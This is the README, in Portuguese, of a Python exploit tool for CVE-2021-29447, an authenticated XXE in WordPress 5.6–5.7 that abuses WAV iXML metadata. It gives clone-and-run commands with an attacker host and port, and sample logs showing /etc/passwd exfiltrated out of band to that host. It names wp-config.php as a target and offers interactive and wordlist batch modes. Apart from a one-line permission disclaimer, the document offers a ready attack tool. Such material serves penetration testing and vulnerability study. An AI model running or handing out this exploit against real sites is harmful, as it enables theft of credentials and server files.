
POC to exploit WordPress 5.6-5.7 (PHP 8+) Authenticated XXE Injection.
Um PoC em Python para explorar a vulnerabilidade XXE autenticada (CVE-2021-29447) em versões do WordPress 5.6–5.7 através de metadados WAV. Ela abusa do chunk iXML em arquivos WAV para disparar uma exfiltração Fora de Banda (OOB) de dados sensíveis — como /etc/passwd, wp-config.php e muito mais — diretamente para o seu diretório dump/.
Este script aproveita uma falha de XML External Entity (XXE) na forma como o WordPress processa metadados WAV:
/etc/passwd).dump/.-i): Solicita caminhos de arquivos até CTRL+C — ótimo para exploração ad-hoc.-w <arquivo>): Processa em lote dezenas de caminhos de arquivos a partir de uma lista.--no-http): Use seu próprio servidor web ao invés do embutido.--debug): Veja logs detalhados de HTTP e debug interno.[CONFIG], [UPLOAD], [DUMP], [WARN], [ERROR] — para verificação rápida de status.git clone https://github.com/Tea-On/CVE-2021-29447-Authenticated-XXE-WordPress-5.6-5.7.git
cd CVE-2021-29447-Authenticated-XXE-WordPress-5.6-5.7
pip3 install requests
python3 exploit_CVE-2021-29447.py \
-H 10.10.14.8 -p 8080 \
-u admin -P p@ssw0rd \
-d http://vulneravel.local -i
[CONFIG] Modo interativo (CTRL+C para sair)
Arquivo> /etc/passwd
[CONFIG] DTD escrito: dtd/L2V0Yy9wYXNzd2Q=.dtd
[CONFIG] WAV construído
[INFO] Nonce: d87f00a552
[DUMP] Despejado: dump/passwd
[UPLOAD] Upload ok (200)
[UPLOAD] URL: http://vulneravel.local/wp-content/uploads/payload.wav
Arquivo>
python3 exploit_CVE-2021-29447.py \
-H 10.10.14.8 -p 8080 \
-u admin -P p@ssw0rd \
-d http://vulneravel.local -w wordlist.txt
[CONFIG] Carregados 4 caminhos de "wordlist.txt"
[CONFIG] Usando servidor HTTP em 10.10.14.8:8080
[CONFIG] Iniciando exfiltração em lote...
[DUMP] [/etc/passwd] → dump/passwd
[WARN] Nenhuma exfiltração para /etc/hostname em 6s, continuando
[UPLOAD] Upload ok (200)
[ERROR] Falha no upload (502) em "/nonexistent"
python3 exploit_CVE-2021-29447.py \
-H 10.10.14.8 -p 8080 \
-u admin -P p@ssw0rd \
-d http://vulneravel.local --no-http --debug -w wordlist.txt
Use seu próprio servidor HTTP para hospedar
dtd/e capturar callbacks. Logs de debug aparecem como[DEBUG].
dtd/ – Arquivos DTD gerados servidos ao alvo.dump/ – Conteúdos de arquivos decodificados, nomeados de acordo com o caminho original.EXFIL_TIMEOUT (padrão 6s) para redes lentas.--debug para diagnosticar problemas com autenticação, upload ou callbacks.Use esta ferramenta apenas em sistemas que você possui ou tem permissão explícita para testar.
Licenciado sob a Licença MIT. Contribuições são bem-vindas — vamos continuar hackeando de forma ética e divertida! ✨
| Argumento | Obrigatório | Descrição |
|---|
-H, --host | ✅ | Host/IP local para servir DTD e receber callbacks |
-p, --port | ✅ | Porta local para o servidor HTTP |
-u, --user | ✅ | Nome de usuário WordPress com permissões de upload |
-P, --pass | ✅ | Senha do WordPress |
-d, --domain | ✅ | URL alvo do WordPress (inclua http://) |
-w, --wordlist | ❌ | Arquivo contendo caminhos separados por nova linha a buscar |
-i, --interactive | ❌ | Solicitar caminhos de arquivos interativamente |
--no-http | ❌ | Ignorar a inicialização do servidor HTTP embutido |
--debug | ❌ | Habilitar logs de debug (detalhes verbose HTTP & internos) |